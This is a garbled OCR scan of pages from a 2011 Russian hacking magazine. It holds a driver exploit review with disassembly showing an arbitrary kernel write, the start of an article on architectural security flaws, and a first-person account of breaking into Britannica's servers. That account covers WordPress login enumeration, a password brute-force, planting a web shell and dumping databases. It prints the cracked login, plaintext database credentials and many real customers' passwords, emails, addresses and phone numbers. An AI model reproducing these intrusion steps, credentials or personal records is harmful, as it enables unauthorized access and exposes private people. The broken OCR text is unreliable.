� ImageView_PrintT о � ImageView_PrintT ОР. � ImageView_PrintT 0\11

� imageview_fullscreen\ll

EXPLOIТS REVIEW

Address l Ordinal

50005FQ6. 1 50008888 2 50008960 3 500089С2 4 50008A6F 5 5000884F 6 50008ВА4 7 500089С2 8

� ConvertDlBSE СТ ION Т о Thumbnail 500200Е Е 9 . � OllCanUnloadNow

� OllGetClassObiect

� Olllnstall

� OllRegisterServer

� OllUnregisterServer

Экспортные функции

5001878С 1 0 50019094 1 1 5001 881 0 1 2 5001А9Е7 1 3 5001М6д 1 4

. t ext : 0 0 0 2 B 8 5 0 I rp = dword p t r 8

. text : 0 0 0 2 B8 5 0 push e s i

. text : 0 0 0 2 B 8 5 1 push edi

. t ext : 0 0 0 2 B 8 5 2 mov edi , [ e sp+ 8 + I r p ]

. t ext : 0 0 0 2 B 8 5 6 mov еах , [ ed i + 6 0 h ]

. t ext : 0 0 0 2 B 8 5 9 mov есх , [ еах+ 4 ]

. t ext : 0 0 0 2 B 8 5 C mov e s i , [ еах+ 8 ]

. t ext : 0 0 0 2 B 8 5F mov edx , [ ed i + O Ch ]

. t ext : 0 0 0 2 B 8 6 2 mov [ esp+ 8 + I rp ] , есх

. t ext : 0 0 0 2 B 8 6 6 mov dword p t r [ ed i + 1C h ] , О

. t ext : 0 0 0 2 B 8 6D movzx есх , byt e p t r [ еах ]

. text : 0 0 0 2 B8 7 0 sub есх , О

. t ext : 0 0 0 2 B8 7 3 j z l o c -2 B 9 7 D

. text : 0 0 0 2 B8 7 9 sub есх , 2

. text : 0 0 0 2 B 8 7 C j z l o c -2 В 9 6 7

. t ext : 0 0 0 2 B 8 8 5 j z short l o c 2 В 8АО

; есх == О х О Е ( IOCTL )

Далее идет п р о в е р ка з н а ч е н и я l о с t l -кода на оп р едел е н н ы й д и а ­пазон и вызов уя з в и м о й фун кци и :

. t ext : 0 0 0 2 B8AO l oc_2 B8AO :

. text : 0 0 0 2 B8AO

. t ext : 0 0 0 2 B8A3

mov

mov

еах , [ ea x + O C h ]

есх , еах

; в еах значение I oC t l кода

. text : 0 0 0 2 B8A5 shr есх , 2

. t ext : 0 0 0 2 B8 A 8

. text : 0 0 0 2 B8AE

. t ext : 0 0 0 2 B 8 B 4

and

сmр

j z

есх , O F O O h

есх , 8 0 0h

short loc_2 B 8 CD

за щитили все с в о и псевдоустроЙства . к р о м е одн о го. Этот м одул ь [ . . ]

и грает роль своего рода DLL тол ь ко в п р о стра н стве ядра . H a n d le на псе вдоустро й ство \\.\vbengn t м ожет п олучить п рава Guest и с п о мощью о п р едел е н н ых i осt l-з а п росов п е р е п и сать п а мять п о л юбому адресу в п ространстве ядра . что в едет к о ч е н ь п р о сто му сценарию эксплуата ци и . Что п р и м ечател ьно . iосt l -за п росы ведут к п р я мому в ызову э кс п о ртных фун к ц и й , без како й - л и б о проверки указател е й . Учиты вая . что э кс п о ртных фукн ций У д а н н о й d l l а ж 5 0 - соответс­твенно кол и ч ество уяз в и м осте й тоже 50 . Все эти фун к ц и и обра баты вают пара метры как ука зател и н а о п р едел е н н ы е недокум енти рова н н ы е структуры . н е в ы полняя н и ка к и х п роверок . Рассмотр и м дизасм и оп р едел и м самый п рос­той с це н а р и й э кс плуата ц и и .

loctl обработчи к \ \.\vbengnt

. t ext : 0 0 0 2 B 8 5 0 i o c t l_handl e r proc

ХАКЕР 0 3 1 1 461 2 0 1 1

. t ext : 0 0 0 2 B 8 C D l oc 2 B8 C D :

. t ext : 0 0 0 2 B 8 C D l ea есх , [ esp+ 8 + I rp ]

. t ext : 0 0 0 2 B 8 D 1 push есх

. t ext : 0 0 0 2 B8 D 2 push e s i

. t ext : 0 0 0 2 B8 D 3 push едх

. text : 0 0 0 2 B8 D4 push еах

. t ext : 0 0 0 2 B8 D 5 c a l l vu l n func t i on -

Фун кция по адресу ОхОО0 1 DААО я в л я ется своего рода шлюз о м :

. t ext : O O O l DAAO vu ln_func t ion proc near

· text : O O O l DAAO arg_O = dword ptr 4

· text : 0 0 0 l DAAO arg_4 = dword p t r 8

· text : 0 0 0 l DAAO arg_8 = dword p t r OCh

· text : 0 0 0 l DAAO arg_C = dword ptr 1 0 h

� 053

Page 47: Хакер март 2011

. t ext : 0 0 0 1 DAAO

. t ext : 0 0 0 1 DAAO mov

. t ext : 0 0 0 1 DAA4 shr

. t ext : 0 0 0 1 DAA7 push

. t ext : 0 0 0 1 DAA8 mov

. t ext : 0 0 0 1 DAAC mov

. t ext : 0 0 0 1 DAAE and

. t ext : 0 0 0 1 DAB3 стр

. text : 0 0 0 1 DAB6 mov

. text : 0 0 0 1 DABC j b

[ . . ]

KI:VII:W

EXPLOIТS REVIEW

еах , [ e sp+arg_O ]

еах , 2

edi

edi , [ es p + 4 + arg_C ]

есх , [ edi ]

еах , OFFh

еах , 3 2 h

dword p t r [ edi ] , О

short loc 1ОАС7

. t ext : 0 0 0 1 DAC7 1 o c 1 ОАС7 :

. t ext : 0 0 0 1 DAC7 mov

. t ext : 0 0 0 1 DACB стр

edx , [ esp+ 4 + arg_8 ]

edx , dword_4 5 4 1 8 [ eax* 4 ]

; сравнение с правильными длинами

. t ext : 0 0 0 1 DAD2 j z short l o c 1 ОАОО

[ . . ]

. text : 0 0 0 1 DAEB l o c 1 ОАЕВ :

. t ex t : 0 0 0 1 DAEB стр еах , 3 1 h switch 5 0 c a s e s

. t ext : 0 0 0 1 DAEE push e s i

. t ext : 0 0 0 1 DAEF j a loc l E 1 8 6 ; de f a u l t

. t ext : 0 0 0 1 DAEF ; j umpt a b l e 0 0 0 1 DAF5 c a s e

. t ext : 0 0 0 1 DAF5 j mp ds : o f f _l Е 1 9 0 [ еах* 4 ]

; развилка на вызовы пятидесяти функций

После п е ребора п ятидесяти фун кций о б н а руж илось . что с п о м о ­щ ь ю фун к ц и и E N G I N E_X m l M s g E m pty м о ж н о п е р е п и сать л ю бую па мять кон ста нтн ы м и з н а ч е н и я м и :

. t ext : 0 0 0 1 DBFC mov e s i , [ e s p + 8 + a r g_4 ]

. text : 0 0 0 1 DC O O mov еах , [ e s i ]

; e s i - наш буфер

. t ext : 0 0 0 1 DC 0 2 push еах

ПО�Н Handle!

� 054

-

EXPLOIТS REVIEW

. t ext : 0 0 0 1 DC 0 3 c a l l ENG INE_XmlMsgEmpty

[ . . ]

. t ext : 0 0 0 1 D 2 0 0 ENGINE_XmlMsgEmpty proc near

· t ex t : 0 О О 1О2 0 0 arg_O = dword ptr 4

. t ext : 0 0 0 1 D 2 0 0

. t ext : 0 0 0 1D2 0 0 push e s i

. t ext : 0 0 0 1 D2 0 1 mov es i , [ es p + 4 +arg_0 ]

. t ext : 0 0 0 1 D 2 0 5 t e s t e s i , e s i

. t ext : 0 0 0 1 D2 0 7 j nz short l o c 1 О2 1 2

[ . . ]

. t ext : 0 0 0 1 D2 1 8 add e s i , 1 4 h

; e s i п о д нашим контролем

. t ext : 0 0 0 1 D 2 1 B

. t ext : 0 0 0 1D2 1 C

push

c a l l

e s i

. t ext : 0 0 0 3 7 6 5 0 s ub 3 7 6 5 0 proc near -

. t ext : 0 0 0 3 7 6 5 0 arg_ О = dword p t r 4

. t ext : 0 0 0 3 7 6 5 0

. text : 0 0 0 3 7 6 5 0 mov еах , [ e sp + arg_O ]

. t ext : 0 0 0 3 7 6 5 4 mov dword p t r [ eax+ 1 4 h ] , О

; запись ОхО О О О О О О О по прои з вольному адресу

· t ext : 0 0 0 3 7 6 5В mov dword ptr [ eax+ 2 0h ] , 1

. t ext : 0 0 0 3 7 6 6 2 add eax , 2 8 h

. t ext : 0 0 0 3 7 6 6 5 mov [ e sp+arg_O ] , еах

· text : 0 0 0 3 7 6 6 9 j mp nu l l sub_l

. t ext : 0 0 0 3 7 6 6 9 sub_3 7 6 5 0 endp

Жде м и с п ра вл е н и я и л и п е р е б и р а е м с я на другой H I PS . Х

Symboliclink \Device\MountPointManag

Symboliclink \Device\Mup

Symboliclink \Device\NamedPipe

Symboliclink \Device\Ndis

Symboliclink \Device\NdisTapi

Symboliclink \Device\Ndisuio

Symboliclink \Device\NdisWan

Il'JNDIISW'ANIIP Symboliclink \Device\NdisWanIp

Symboliclink \Device\NDProxy

Symboliclink \Device\NTPNP _РСIOООЗ

Symboliclink \Device\NTPNP _РСIOОО4

Symboliclink \Device\Null

Symboliclink \Device\ParallelO

Symbo�clink \Device\ParallelO

Symboliclink \Device\ParallelVdmO

Symboliclink \Device\ParTechIncO

Symboliclink \Device\ParTechIncl

Symbo�clink \Device\ParTechInc2

Symboliclink \Device\PSched

Symboliclink \Device\RdpDrDvMgr

Symboliclink \Device\SandBox

Symboliclink \Device\Tcp

�����.o �vl Symboliclink \Device\vbenQnt

ХАКЕР 03 /Н6/ 2 0 1 1

Page 48: Хакер март 2011

• • M 4 g i c q 884888. s n i p p e r.ru

БРИТАННИКА по КОЛПАКОМ Взлом знаменитой оффлайн-энциклопедии � Энциклопедия Британника - это старейшая и наиболее полная энциклопедия на английском языке, первые тома которой были изданы в далеких 1 768-1771 годах. Ее сайт впервые увидел свет в 1 995 году, а в данное время вплотную приближается по возможностям к Википедии. Я просто не смог пройти мимо этого эпохального труда и попробовал взглянуть на онлайновую Британнику немного глубже, чем ее обычные пользователи.

Знание - сила З н а я , что л юбое э н ц и кл о педическое и з ы с ка н и е н а ч и н а ется а Ь ovo, я з а ш ел н а гла в ную стран и цу Б р ита н н и к и , рас п ол оже н ную п о адресу Ь г it а п п i са . соm [или eb . coml. П е р в а я ссылка , кото рая меня з а и нтересовал а , нез атейл иво назы валась 8 109 и вела на b ri ta n n i c a . co m/blogs . Открыв исход н и к да н н о й стр а н и ц ы , я п р и ш ел в восто р г, та к ка к та м гордо красовалась следующая надп и с ь :

<meta name= " generato r " content = " WordPress 2 . 2 " 1 >

Но , к а к и следовало ожидать, адм и н ы Брита н н и ки оказал ись н е та кими уж и п ростака м и : хотя версия движка и была крайне

� 056

древне й , в с е известные уязвимости в ней были хорошо пропат­чены , та к что оста валось тол ько продолжать поиски . Следующим моим шагом был , конечно же , ГУГЛ : « i n u rl : br i tann ica . сот fi letype : php» . Походив часа два по ссылкам и снова н и чего и нте ресного не на йдя , я все же решил за няться 80рдпрессом .

Грубая сила Н е м н о го поразмысл и в , я задумал коварный план по 'подБОРУ пароля в адм и н с кую часть 80рдпресса с помощью банально­го брутфорса. Для осуществл е н и я да нного плана требовал ись действител ьные логины пользовател ей , котор ы е можно было собрать с п о мощью известного бага движка : п ереходим п о ссылке br i tann ica .com/bl09sf?a uthor= [N] [ [N ] - это I D нужного

ХАКЕР 03 / 1 4 6 / 2 0 1 1

Page 49: Хакер март 2011

Editi1lg аkiSIl1('t/:1kiSП1('t.рIIР (acti\'e)

,­""11'.-' ."'--,1 ... '. "'1 ' ...... " .... "-•.• -...... ,. .... , ...... . _ .. _ _ .... � .. < ... __ о _ _ •• _ .. _ 01 .... � ' .... 1>100 • _ _ _ • , ... _ • • •• .... ·_ •• '11 ... _ .... _ •• '·.......," .................. ... t.rт</ .. .. _ ,'", ........... _ � .. . "" ... .... . _ .. .... .., _ _ . "_о .... 1< ... _ .... Н' ... , •••• ••• • _ ...... ., ... ",. _ ." , •• "" •• •• .... 111 .......... ....,-• ••• _. _-.. .. .... . 0 .... • ...... 'lIv ..... _ ......... ·>QcI. ,. _ .. <1 .. .... .... .... ... . , .... . ....... -. .. 11 •• -."'_ "" ' .... "11. __ ..... " .,

.. ' 1 ·-.... 0 .. ····" ... -·0 .. ····1 1 ' '_._ ""'._.-." ••• ,.-.- . _1, ,

, ..... , ..... _ .. - . ...

.-..... ... '-•. -.... "1 ... ' .. · -11 ' < •• "" . .. ___ .... ,.II ..... �'

"-9ln flk.

�.,.� �'*"� "''','''''''' ...... --� �...."..",. """' �

�--.� bJ ......... 0._

.. _"" _..,�'._""-'. ___ "_u....,..-.IU _.",.".., .. ..... -......--'O' ;;;:".0..::. Upota",,,.J�"' . _

инжект шелла в магины

шелл на Британнике

пол ьзователя l и набл юдаем логин в тайтле стра ницы . Подста в и в по п орядку нескол ько I D . я узнал. что на блоге п р исутствуют следующие юзе р ы :

admin , mlevy , dho iberg ,

j luebering , j henne l ly ,

whosch , kkuiper , tpappas ,

rmchenry , gmcnamee , rhorrow,

tom , bcosgrave , t ga l lagher ,

rmurraythomas , j enni fer ,

ksparks , agut tmann ,

j magu i re , rwi l s on

Но логины - это только полдела . необходимо было найти еще и пароли к ним : 1 . Для этого я вос пол ьзо­вался ранее упом и навшейся на стра н и цах рубрики X-Tools програ м м ой WBF.Gold (wonted . ru/grogra mms/ wbf-gold l . Для начала п роцесса брутфорса нужно настроить прогу в разделе « Пара м етры » :

Хост/ обработчик формы : http : / /www .

britannica . com/blogs/wp - login . php

Метод атаки : POST

Атрибуты Submit - кнопки : Name =wp- s ubmi t ,

Value= Login

Имена полей идентификаторов : поле

" Логин " = l оg , поле " пароль " =рwd

Индикация успешного входа : отсутствие тек­

ста input type= " pa s sword"

Для начала я скачал нес кол ько объе м н ы х сл оварей п о ссылке I ПS l d еgго. соm/гus/d оwпlоаd . shtm l и начал последовательную атаку по первому а к каунту с помо­щью с разу нескол ьких запуще н н ы х одновременно ко п и й брутфо рса . С пустя какое-то время я ув идел . что успешно сбрутился а ккаунт m levy с па рол ем Lопdоп : 1 . Дело оста валось за мал ы м - залогин иться в адм и н ку и залить шелл. чем я и занялся .

Проникновение Ита к. за йдя в Ь п tапп iса . со m/Ыоgs/wg-а d m i п и убе­дившись. что юзер m levy обладает правами адм и -

ХАКЕР 0 3 / 1 46/ 20 1 1

Блог Британники

Узнаем логины в WordPress

н и стратора , я поспешил п роследовать в раздел « Рlu g i п s» . Здесь м н е снова повезло - все плаги н ы обладали п равами н а зап ись . та к что я открыл файл ak ism et/ak ismet .php и записал в н е го свой веб- шелл . Те перь нужно было изуч ить сервер на п редмет вся­ческих и нтересностеЙ . Для этого я зашел в свой ш елл с помощью кодо вого слова ( Ьгitа п п iса .соm/ Ыоgsf?Ьгitап l и стал смотреть на с п исок файлов и ди ректо рий веб-сервера в корне !/a pps/docs l :

account - 4 4 3

account - 8 0

benandbe l l a

bindia

blog . qa . tar . bz2

catalog

category - t emplate . php

contributor

corpora t e - 8 0

dead . letter

deprecated_s i t e-page s - 8 0

dev-blog-wp2 2 . z ip

f a i l over

formO l - 8 0

forms O l - 8 0

gcoop - 8 0

help - 8 0

httpd- advocacy

httpd- s a f e - 4 4 3

http s - 1 9 9

wordpress -blog - 8 0

wppingbac k - 8 0

www - 8 0

Н а сервере находил ись служеб н ы е фа йлы разл и ч н ы х в нутренних раздел ов и поддоменов Брита н н ики ( кото­рые . впрочем . были для меня не та к и нтерес н ы . как доступы к база м Aa H H bIx l :

/apps /docs /wordpre s s -blog - 8 0 /blogs /

wp-config . php :

de f i ne ( ' DB_NAМE ' , ' blogs ' ) ; / / The пате o f

t h e database

de f ine ( ' DB_USER ' , ' wordpress ' ) ; / / Your

� i nfo Если ты являешься разработчи ком какого-либо движка или адм инистратором крупного п роекта. советую тебе огля нуться на безалаберных владельцев Британники и не повторять следующих ошибок: 1 . Н е забывай обновлять паблик­движки до самых последних версий . 2. Н и когда не сохра няй личные да нные пользователей в открытом виде. З. Н и когда не позвол я й непривилеги­рова нному пользователю веб­сервера lapache в данном случаеl быть владельцем важн ых файлов системы . 4 . Н и когда не ста вь простых паролей . а также используй рандомные па роли для различных сервисов.

� links

• Виновник торжества: Ьгitап п iса . com/blogs ; • И ндийск'ое отделение Британники : Ьгi tа п­П lса iпd iа .соm ; • Последняя версия веб-шелла WSO: httgs :!/rdot .org/ forum/showthread . phg?t=1 085 .

� 057

!

Page 50: Хакер март 2011

Таблица с заказами продукции Британники

MySQL username

define ( ' DB_PASSWORD ' , ' gutenberg5 ! ' ) ; / / . . . and

password

def ine ( ' DB_HOST ' , ' blogs . db ' ) ; / / 9 9 % chance уои won ' t need to change thi s value

/apps / docs /bindia/ codelibrary/ inc/ connection . pnp :

$dbConn = pgJ)connect ( " host=bi . db port = 5 4 3 2 dbname=bi

user=bi pas sword=bi " ) ;

С помощью первого доступа я л е гко слил e -mа i l' bI , логины и пароли пользовател ей блога lоб рати внимание , и нте ресные пароли у брита нских книголюбов: Иога н н Гутенберг - это изо­бретатель к н и гоп ечатания l , а вот для второго мне пришлось заливать уже знакомый тебе WSO веб-шелл, который умеет рабо­тать с база м и да нных PostgreSQL.

Индийская Британника Подконнекти вшись к b i . db , я сразу же приступ ил к изуч е н и ю содержимого Б Д нашего юзера : postgres, i hop , b i , aasl , s i te , еb t imеl iпе , b i l . Первые и нтересности обнаружил ись в табл и це t b l_order _master, где находились следующие столбцы'

order_id

order_number

order_dat e

uid

order_status

b i l l_name

b i l l_address

b i l lJ)hone

bi l l ema i l

ship_name

ship_address

shippJ)hone

shipping_chrages

� 058

и записи с адреса м и некой доста в к и :

Адрес платежа : 5 5- 5 6 , Udyog Vihar , Gurgaion Phase IV ,

Gurgaon , Gurgaon , India

Телефон : 9 8 1 0 0 4 0 4 9 9

E-mai l : kaushik@britannicain . com

Адрес доставки : 5 5 - 5 6 , Udyog Vihar , Gurgaion Phase IV

Здесь до мен Ьгitа п п iса iП .соm I который , кстати, не работаетl на вел меня на мысл ь, что назва н и е базы «b i» - это аббревиа­тура от Br i tann ica I nd i a . Собственно , с эти м запросом в Гугле я и узнал , что взломал целое и ндийское отдел ение Б р ита н н и к и , располага ю щееся по адресу brita n n i ca in d ia .com и по пути /a p ps/ docs/b ind ia на нашем сервере . Сам ресурс Ьг i tа п п iса l п d iа . соm поз воляет жител ям И ндии заказы вать разл и ч н ы е продукты издательства Encyclopaed ia B rita n n ica Iкниги и C D/DVDI , та к что оста валось тол ько на йти более подробную и нфу о покупателях в базе да н н ых . Понятно , что узнав адрес одн ого из ресурсо в, которые л ежат на похеканном сервере , я сразу же захотел посмотреть на остальные са йты с помощью известного Rеvегsе l Р-сервиса yougetsignal . со m/too ls/we Ь -5 i t es -о n -we Ь -se гуе г :

advocacy . br itannica . com

benandbe l l a . eb . com

bri tannicaindia . com

corporate . bri tannica . com

corporate . eb . com

forms 0 1 . britannica . com

help . eb . com

info . eb . com

news let ter . eb . com

news l e t t ers . britannica . com

partners . br i t annica . com

sales . britannic a . com

stat i s t ic s . eb . com

store . britannicaindia . com

ХАКЕР 03 / 1 46/ 2 0 1 1

Page 51: Хакер март 2011

-1 _ .. I --'1 т .. -.._. I с_ .. .... С .. $I ..... C .. . .. IS --- _. _--------------- ----

Шопимся ПОД чужим аккаунтом

support . bri tannica . com

universal . eb . com

www . apps . eb . com

www . britannicaindia . com

Как видишь, список оказался довольно-таки и нтересным.

()8С'8 ,," �tCiil'I9 __

Но оставим его на потом, и вернемся к нашим и ндийским друзьям : 1 .

Индийский магазин Дал ее в той же базе да нных я открыл табл и цу tb l_reg ister, содер­жащую 9 470 записей . Здесь для меня открылось чарующее зре­л и ще: п одробнейшие да н н ы е обо всех ка сто мерах Б р ита н н и ки , а в кач естве бо нуса - кр истально ч и стые парол и в плейн-те ксте [уже в который раз замечаю, что серьез н ы е ресурсы сильно н е замора ч и ва ются о ш и фровании важн ы х да нных пользователеЙ I . Вот л и ш ь некоторые из та ких данных :

Нопiе : rоsе : hаrрri t kаur@hоtmа i l . соm : D- 6 / 13 , Vasant

Vihar

ritesh : rockrover : ri t eshroxy@yahoo . com : sun power flats

9 block s . f . -4 memnagar

pioneer : pravyogi : pravin_hande@red i f fmai l . com : bhau

daj i road

ganguly : goa@cal cutta : ganguly_sumam@yahoo . com : 2 4 , a l i

chirag lane ,

muthana : pretty : muthana@vsnl . com : 12 Sarat Chatterj ee

Avenue

anurup : mital i : anurup_m@vsnl . com : Surasree 2 4А , Lake

view Road

superbat 3 9 3 : scurvycur : superbat_3 9 3 @yhaoo .

co . uk : 1 2 , T . S . Kri shna nagar extn , mogappair

SuyashAnand : 9 9 9 9 9 9 9 9 9 : suyashanand@yahoo . com : xyz

champaka l i : mypczenith : bbsr@ lnsel . com : cuttack

s imOO : 7 02 0 5 57 : s imO O @red i f fmai l . com : 12 5 sainik vihar

arka : arkaarka : kaaraak@yahoo . com : ca t i a

ani lpost : bathinda : anilpost@hotmai l . com : 2 2 42 , urban

estate phase- i i

k_dasgupta : mampu : k_dasgupta@hotma i l . com : PO Бох 7 2

madhu : rama : ureply@redi f fma i l . com : 6 5 7 6

satyaj i tpani : s i lus i l u : satyaj it-pani@msn . com : cuttack

chandi cuttack

ramkishore : bansa l 12 3 : ramki shore@vsn l . com : 2 3 5 , Katra

Peran , Ti lak Баzаr

rj ana : 12 3 4 : rj ana@vsn l . net : haldia

rakov2 0 0 0 : rakov2 0 0 0 : xaldinx@gma i l . com : &3 / 2 , Krishna

Nagar

раdmа : suhапа : раdmа@еЬiпdiа . соm : Б - 2 / 1 7 1 , S fdarj ang

Enc lave

mani sh : purohi t : manish@manishpurohi t . com : d- 7 7

ХАКЕР 03 / 1 46/ 2 0 1 1

, i' WBF.Gold vO. 9 . 5 I by [x26]VOLAND � '5' � I Настроики

Атакуемый сайт: http://www.britannica.com/bIogs/w ... Метод атаки: POST Тип перебора: Атака 1 аккаунта

Параметры 1 1 Прокси (нет)

Браузер

I Прогресс: 6 /666 (100%) ,--_с_т_ар_. T_....J. Подобрано: 1

Стоп _1 Текущий: mlеvу;Lопdоп

Прокси:

1 Дополнительно

PPS: O

( •• ==.== ......... --===.===----_ •• _=-====== •• � Атака завершена

Успешный брутфорс

Panchsheel Enc l ave

thomas : thomas : thoma s @br i t annicain . com : 1 - 8 6 madangir

Raj uV : plsGOD : vraj u3 @emirates . net . ae : AYDJA РО БОХ 2 5

vikram : kr i shnaaa : vi kram@britannicain . com : c - 2 6 6 , sari ta

vihar

Тыся ч и подобных запи сей я извлек с помощью н ехитрого зап роса « SELECT username l l chr ( 5 8 ) I I password l I chr ( 5 8 ) I l ema i l l l c

hr ( 5 8 ) I l address FROM tbl_register LIMIT 3 0 OFFSET О» .

ДЛЯ теста я решил залогиниться по адресу Ьгitа п п iса iпd iа . co m/regl st rat ion .php с помощью рандомного аккаунта vi nay_75a ; 1 304 1 974, что, естественно , у меня сразу же получ и ­лось. И м ея доступ к л юбому из аккаунтов магазина индийской Брита н н и к и , можно было за казать очень м н ого бум ажных или мульти меди й н ы х коп и й да н ной энциклопеди и на любые почтовые адреса : 1 . Но >; н е стал зани маться та ким непотребством , а всего л и ш ь бережно слил да м п с пол ьзо вател я м и к себе на деди к.

Заключение Нап оследок я решил еще немного походить по Post g reSQL базам да нных . Как это н е уди в ител ьно, но в н е кой базе b i l в табл и це users также оказал ись незашифрова н н ы е парол и :

gabie ; springsprung

tea ; tea

mwiechec ; password

sab i s 12 3 ! ; sabis images

erc12 3 ! ; erc images

kossut h ; kossuth12 3 !

и так далее

Пораз и в ш ис ь такому халатн ому отно ш е н и ю к своим же собствен­ным юзера м , я слил все доступ ные да н н ы е , а также скачал исход­ники всех сайтов-п оддоменов Б р ита н н и ки с Reversel Р-сервиса . После неуда ч ной попытки порутать пропатчен ную м а ш и н ку я удалил все свои ш еллы и нап исал админам на м ыло, чтобы они в н и мател ьнее относились к своим паролям и , соответственно , пользовател я м . Тебе же я в оче редной р а з могу посоветовать не смотреть на историю и размах любого онла йн-п роекта , а просто немного глубже вглядеться е го структуру. Б ыть может, именно ты будеш ь тем человеком, кто на йдет знаменател ьный баг в ка кой-н ибудь . . Википедии : 1 . :х:

� 059

Page 52: Хакер март 2011

• • длексей С И Н Ц О В , D i g i t a l Security I twitter.com/a s i n tsovl

ОШИБ АРХИТЕ Pb l Простые дыры в сложных вещах.

Сегодня мы в очередной раз рассмотрим ошибки в сложных программных вещах, но это будут уже не баги в коде. Мы поговорим об ошибках, заложенных еще на стадии проектирования , то есть об архитектурных багах. Ну и конечно же, тебя ждут Оdау-уязвимости . . .

Ошибка в логике . Ошибка , как известно, может быть в коде ПО , а может в конфигура­

ции . Кроме того, возможны ошибки при неправил ьном внедрении или сопровождении системы . Но быва ют оплошности и в самой архитектуре. Такие ошибки прячутся в самой задумке, в самой логике системы . Последствия могут быть разными , в том ч исле и та кие, которые при водят к нарушению безопасности . Прим еров та ких косяков - п руд пруди : DLL-Hi jacking, ARP-PO I50N ING , 5 М В RELAY . . . А также менее глобал ьные - например , ошибки в модулях l ibc, при обработке переменной окружения LD_AUDIT (автор Та вис ОрмандиJ . В общем, зоопарк достаточно богат и многообразен. В этой статье я расскажу о своем оп ыте по выявлению и э ксплуата­ции та ких вот багов.

� 060

Байки из склепа в Росси и есть круп ные компании . Круп ным компаниям надо ка к-то автоматизировать некоторые п роцессы. Для этого нужно ПО . Такое ПО п и шут п рограммисты. При этом программ исты решают задачу, которую ста вит им ком пания . И на стади и п роекти рования та ких систем случаются казусы, которые приводят к достаточно приколь­ным посл едств иям . Удивител ьно, что только уже п осле написа ния П О воз н и кает вопрос : а что у нас с безопасностью? Печально, но в Росси и это так. Пример из жизни - ответ технического директора круп ной компа­нии , занима ющейся разработкой софта, на сообщение об обна ру­женной уязвимости. Уязви мость банальная , типа « Переполнение буфера в стеке», последствия - вы полнение произвол ьного кода.

ХАКЕР 03 /1 46/ 2 0 1 1

Page 53: Хакер март 2011

Digital Security Research Group

S im p le bug i n 'cod ingJ stage

Iaea -> Business Tasts - > Archi tect - > Coaing - > Implement -> Support

Bug report - > Analy ze -> Patch ,

Month or Мо . . .

Слайд с конференции CONFidence 2010(2): так исправляются кодерские баги

Та к вот, ответ сотрудника компании , отвечающе го за безопасность этого софта: « Это бред. Ка к может вы полн иться п роизвольный код? Откуда он возьмется в нашем ПО? Есл и и вы полнится код, то только наш собственный , а он не произвольн ы й ! К тому же, у наших клиентов антиви рус eCТbl» Пересказ вольный , но смысл передан точно. Так-то вот. Но что-то я отвлекся - вернемся к ош ибкам в логике . Собственно, л юбой анализ безопасности системы/п роекта начинается крайне банально - запускается сниффер. П ричем на кл иентской та чке . Это необходи мо, чтобы понять, как система работает с сервером. В 90% случаев уязвимости в логи ке выявляются тупо при анализе логов этого самого сниффера. К прим еру, всем очевидно, что при л юбой модели кл иент-сервер желател ьно разграничи вать работу СУБД с кл иентом . Но многие наши разра ботчи ки л енятся писать -например , систему управления бизнесом, на основе трехзвенной архитектуры. Напоминаю, что при таком раскладе у пользователя стоит кл и ентское ПО , которое работает с сервером приложений , а сервер , в свою очередь, работает с да нными в СУБД. В итоге надо п исать два продукта - кл иент и сервер п риложений , а кроме того еще разрабатывать БД (хран имые про цедуры, три ггеры , да и вооб­ще cxeMyl . Ка к итог - многим лениво п исать сервер приложений , и они разрабаты вают кл иентское П О , которое напрямую работает с СУБД. Та кая двухзвенная модель накладывает ряд до полн итель­ных требований к безопасности на уровне логики и разгра н ичения доступа . Однажды , разби рая логи сниффера, м ы увидел и такую реал иза­цию. Кл иент выпол няет аутентификацию с СУБД на основе NTLM, то есть доступ в БД был организован по учетн ым записям домена. Далее кл иентское ПО выбирало рол ь, соответствующую своей учетной записи , в специальной табл ице. А перед тем , как выби рать да нные из л юбой боевой таблицы, проверяло, есть ли у да нной роли права на эти данные . Очевидный косяк тут - проверка роли на стороне клиента, ведь что мешает пользователю выполн ить соеди нение с СУБД с пом ощью кл иента этой самой СУБД? Та к как ролевая модел ь « поддел ьная», а не основана на возможностях СУБД, то такой расклад при водит к пол ному доступу к системе и всем да нным . Самое забавное, что вы полняя анализ безопасности другой отечественной системы , в другой компании , мы обнаружил и точно такой же подход к архитектуре и, соответственно, ошибка была абсолютно такая же. Естественно про это « и та к знают» и выходят из положен ия , напри­мер , с помощью установки те рминальных серверов, с которых пользователи и работают с системой. Но хочу заметить, что такой подход - не панацея , а просто « костыль». Другие же разработч и -

ХАКЕР 03 /146/ 2 0 1 1

ки , зная о подобной проблеме , реал изовали ограничение доступа , испол ьзуя ролевую модел ь са мой СУБД. ОНИ отказались от домен­ных учеток, за водя учетн ые записи в базе данных . Внешне это в ы глядит та к : пользователь запускает кл иентское ПО , ждет секунду, получает список пол ьзователей , и щет в списке свою фа милию, жмет кнопку < Войти > , п осле чего у него спрашива ют пароль, кото­рый он вводит. Сниф трафика показал удив ительную вещь: дей­ствител ьно, па рол ь проверяется на уровне СУБД специально раз­работанной процедурой , ролевая м одел ь прописана там же, кл иент ничего не решает, но шаг с отображением списка пользователей был п ровален полностью. Кл иентское П О коннектится к БД под учетной записью по умолчанию, которая прош ита в па мяти (легко можно достать дебаггером l . Далее идет сел ект списка пользовате­лей, но тут есть нюанс: по идее это должно было быть реальзовано та к :

select logins , РТО from db ;

Но, по неизвестн ы м причинам , было сделано та к :

select * from db ;

Что позволяло получить парол и всех пользо вателей при отобра­жен и и их сп иска. Естественно, парол и в кл и ентском ПО не ото­бражал ись, но в логах сн иффера они были видны в пол не четко. И

Архитектурные баги патчить труднее ...

r-I!I Oigital Security ...", Research Group

Bug in 'Architect' stage

Id ... -> Busin ••• T •• k. - > Archit.ct -> Codinq -> Imp1.m.nt - > Support ?????????

ВиС] report -> Analyz8 -> р& tch \ I

???????????

� 061

Page 54: Хакер март 2011

Immunity Debugger - prowlrllЗ2.lехе

File Viev.J Debug Plugins ImmLib

Ставим брейкnоинт на данные

Binary

Breakpoint

Search for

даже если бы этого селекта не было, то табл и ца db была доступна пол ьзователю по умолчанию , так что пароли можно было получить, испол ьзуя прош итую учетку. Зачем п рогра м м исты используют свои на вороты , вместо того, чтобы пользоваться уже п роверенными меха низмами? И м виднее . .

OpenEdge Ладно , хватит историй , перейдем к делу. Сейчас я расскажу об иди­отской архитектурной ошибке в известном в узких кругах продукте RDBMS Progress ОрепЕdgе . Название кажется тебе незна комым? Вот лишь мал ы й список компаний , которые используют эту СУБД:

PepsiCo

Coca-Cola

Johnson & Johnson

Lockheed Martin

МсDоппеl l -Dоuglаs

